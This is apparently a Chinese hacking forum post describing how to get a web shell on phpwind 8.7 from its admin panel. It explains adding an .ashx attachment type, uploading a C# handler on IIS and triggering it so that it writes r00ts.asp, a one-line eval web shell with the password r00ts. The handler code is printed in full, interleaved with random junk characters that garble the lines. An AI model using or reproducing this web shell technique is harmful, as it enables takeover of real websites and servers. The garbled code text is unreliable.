phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
5 s/ \+ d8 f: M, R) ]. J. I
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
- r' x" `+ x0 f9 h, c
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

& I  I0 j% D: Y6 G: h* x打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

  J& @, ]) h. L7 J5 Q8 Y: O6 d" l- n& `下面是代码:

  C3 u: j* n- M7 i6 |1 j<%@ WebHandler Language="C#"Class="Handler" %>
using System;
8 B4 `' ?' B1 k0 ~using System.Web;
- |3 ^6 M* o$ b7 M* X! ]! qusing System.IO;
8 E) [' g8 R3 h. Q9 Lpublic class Handler : IHttpHandler {
4 T8 @  k9 v+ h# h3 v  I3 cpublic void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
* g0 k% Q9 K; ]# r' P7 gfile1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
file1.Close();
}
9 w4 ~1 B' n3 b: g  Y# }3 l0 `public bool IsReusable {
get {
return false;
; E: _0 _4 O) Y, P' _8 S( l  i" s0 ]}
7 M. l4 }1 S: [4 z- i0 `- R}
}